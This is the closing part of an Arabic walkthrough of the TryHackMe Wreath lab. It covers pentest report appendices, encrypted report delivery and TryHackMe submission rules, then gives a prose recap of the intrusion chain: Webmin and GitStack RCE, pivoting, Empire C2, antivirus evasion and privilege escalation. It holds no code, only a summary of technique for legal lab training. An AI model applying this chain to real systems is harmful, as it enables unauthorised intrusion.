8 الملاحق (Appendices)

تخيل أنك اضطررت لتعديل كود استغلال (Exploit) طوله 10 صفحات (كما فعلنا مع ثغرة GitStack). هل تضعه في وسط التقرير وتخرب شكل الصفحات؟

💡 الحل: تضع الأكواد الطويلة، أو الجداول الضخمة، أو البيانات الكبيرة جداً في نهاية التقرير في قسم "الملاحق"، وتشير إليها في النص (مثلاً: "انظر الملحق أ لرؤية الكود بالكامل").

🛡️ تعليمات تسليم التقرير والتشفير (Report Handling Procedures)

💣

في العالم الحقيقي، هذا التقرير هو "قنبلة موقوتة"

تخيل لو وقع هذا التقرير (الذي يشرح كيف تخترق الشركة خطوة بخطوة) في يد هاكر شرير!

لذلك، قبل بدء أي عملية اختراق، يتم الاتفاق على:

  • كيف سيتم إرسال التقرير بشكل مشفر وآمن للعميل؟
  • متى وكيف سيقوم الهاكر (أنت) بـمسح نسخته من التقرير نهائياً من جهازه بعد تسليمه لحماية خصوصية العميل؟

📝 المطلوب منك في منصة TryHackMe (قواعد التسليم)

إذا كنت ترغب بكتابة تقرير ومشاركته في الموقع لكي يقرأه الآخرون، فهذه هي شروطهم:

  1. أن يكون مكتوباً باللغة الإنجليزية وبصيغة PDF.
  2. أن ترفعه على Google Drive أو Github بحيث يمكن قراءته مباشرة من المتصفح بدون تحميل.
  3. ممنوع الحرق (No Spoilers): لا تضع الإجابات المباشرة لأسئلة الغرفة (لا تضع الباسوردات أو الهاشات Hashes الحقيقية في التقرير)، بل اكتب أسماء الأجهزة وطرق الاختراق فقط.

ملاحظة: لست مجبراً على كتابة التقرير لتجاوز هذه المهمة، يمكنك فقط قراءة النص والضغط على زر إكمال المهمة.


🎯 الخلاصة النهائية

التقرير هو المنتج النهائي الذي يراه العميل. مهما كانت مهاراتك التقنية عالية، إذا كان تقريرك سيئاً فلن يُقدّر عملك. يجب أن يكون التقرير:

  • واضحاً: يفهمه التقني وغير التقني
  • منظماً: يتبع هيكلية احترافية مرتبة
  • مفصلاً: يشمل كل الثغرات مع طرق العلاج
  • قابلاً للتنفيذ: يمكن إعادة تطبيق الخطوات للتحقق
  • آمناً: يُسلّم ويُخزّن بطرق مشفرة

🏁 مبروك! بهذا تكون قد أنهيت شبكة Wreath بالكامل!


الملخص الختامي الشامل

نظرة عامة على شبكة Wreath

شبكة Wreath هي بيئة تعليمية متكاملة مصممة لتعليم تقنيات الاختراق المتقدمة، بما في ذلك Pivoting (التمحور)، وCommand and Control (القيادة والتحكم)، وAV Evasion (التهرب من برامج الحماية). تتكون الشبكة من ثلاثة أجهزة رئيسية: خادم ويب عام، خادم Git داخلي، وجهاز كمبيوتر شخصي يعمل بنظام Windows.

ملخص المراحل والتاسكات

المرحلة الأولى: التعريف والاستطلاع (Tasks 1-6)

بدأنا بفهم هيكل شبكة Wreath وأهداف التعلم. تعرفنا على الأجهزة الثلاثة في الشبكة وعلاقاتها ببعضها. أجرينا عمليات مسح باستخدام Nmap لاكتشاف المنافذ المفتوحة والخدمات العاملة. اكتشفنا ثغرة RCE في خدمة Webmin واستغللناها للحصول على وصول أولي بصلاحيات Root على الخادم الأول. تعلمنا كيفية تثبيت الوصول عبر استخراج مفاتيح SSH الخاصة واستخدامها للدخول المستمر.

المرحلة الثانية: التمحور والانتشار (Tasks 7-16)

تعلمنا تقنيات Pivoting المختلفة للوصول من الخادم الأول إلى الأجهزة الداخلية. استخدمنا أدوات مثل sshuttle وchisel وSSH tunneling لإنشاء أنفاق شبكية. تعلمنا الفرق بين Port Forwarding وProxy، وكيفية إعداد كل منهما. كما تعرفنا على مفاهيم Forward Proxy وReverse Proxy، وأعددنا قواعد الجدار الناري (Firewall) للسماح بحركة المرور اللازمة. أجرينا مسحاً للشبكة الداخلية واكتشفنا الخدمات العاملة على الأجهزة الأخرى.

المرحلة الثالثة: استغلال خادم Git (Tasks 17-21)

اكتشفنا خادم GitStack يعمل على الشبكة الداخلية. حللنا الكود المصدري للثغرات المتاحة وعدلناها لتناسب بيئتنا. استغللنا ثغرة RCE في GitStack للحصول على وصول للخادم. استخرجنا الأكواد المصدرية من المستودعات واكتشفنا معلومات حساسة مثل بيانات الاعتماد وكلمات المرور المخزنة داخل ملفات الإعدادات.

المرحلة الرابعة: القيادة والتحكم (Tasks 22-32)

تعلمنا إعداد واستخدام إطار عمل Empire للقيادة والتحكم (C2). أنشأنا Listeners لاستقبال الاتصالات، وStagers لتوليد الحمولات الخبيثة، وAgents للتحكم في الأجهزة المخترقة. تعلمنا كيفية إعداد Hop Listeners للوصول إلى الأجهزة الداخلية التي لا يمكنها الاتصال مباشرة بخادم C2. نقلنا الملفات عبر الشبكة واستخدمنا تقنيات متعددة للتحكم عن بُعد وتنفيذ الأوامر.

المرحلة الخامسة: الجهاز الشخصي (Tasks 33-37)

وصلنا إلى جهاز Thomas الشخصي الذي يعمل بنظام Windows Server. اكتشفنا الخدمات العاملة عليه وحللنا نقاط الضعف المحتملة. استخدمنا بيانات الاعتماد المستخرجة سابقاً من مستودعات Git للوصول إلى خدمات الجهاز. بدأنا في التخطيط لتصعيد الصلاحيات والتهرب من برامج الحماية المثبتة على الجهاز.

المرحلة السادسة: التهرب من برامج الحماية (Tasks 38-43)

تعلمنا أساسيات AV Evasion وكيفية تجاوز برامج مكافحة الفيروسات. استخدمنا تقنيات مختلفة مثل Obfuscation (التشويش) وCustom Payloads (الحمولات المخصصة). أنشأنا برنامج C# مخصص كغلاف (Wrapper) للحمولة الخبيثة لتجاوز أنظمة الكشف. استغللنا ثغرة Unquoted Service Path لتصعيد الصلاحيات من مستخدم عادي إلى صلاحيات SYSTEM الكاملة.

المرحلة السابعة: الختام والتوثيق (Tasks 44-45)

استخرجنا البيانات الحساسة وجمعنا الأدلة من جميع الأجهزة المخترقة. وثقنا كامل عملية الاختراق من الاستطلاع الأولي وصولاً إلى السيطرة الكاملة. راجعنا الدروس المستفادة وأفضل الممارسات الأمنية لتعزيز الدفاعات ضد هذا النوع من الهجمات.

المهارات المكتسبة

  • الاستطلاع والمسح: استخدام Nmap وأدوات أخرى لاكتشاف الشبكات والمنافذ والخدمات.
  • استغلال الثغرات: تحليل وتعديل الاستغلالات العامة (مثل CVE-2019-15107) وتطبيقها عملياً.
  • التمحور (Pivoting): استخدام sshuttle، chisel، SSH tunneling للوصول للشبكات الداخلية.
  • تحليل الأكواد: قراءة وفهم وتعديل أكواد Python وPHP.
  • القيادة والتحكم (C2): إعداد واستخدام Empire Framework بكامل مكوناته.
  • التهرب من الحماية: تقنيات AV Evasion وكتابة Wrappers مخصصة بلغة C#.
  • تصعيد الصلاحيات: استغلال Unquoted Service Path وتقنيات أخرى للوصول لصلاحيات SYSTEM.
  • إدارة الجدران النارية: التعامل مع iptables و Windows Firewall عبر سطر الأوامر.
  • كتابة التقارير: توثيق عملية اختبار الاختراق بشكل احترافي ومنظم.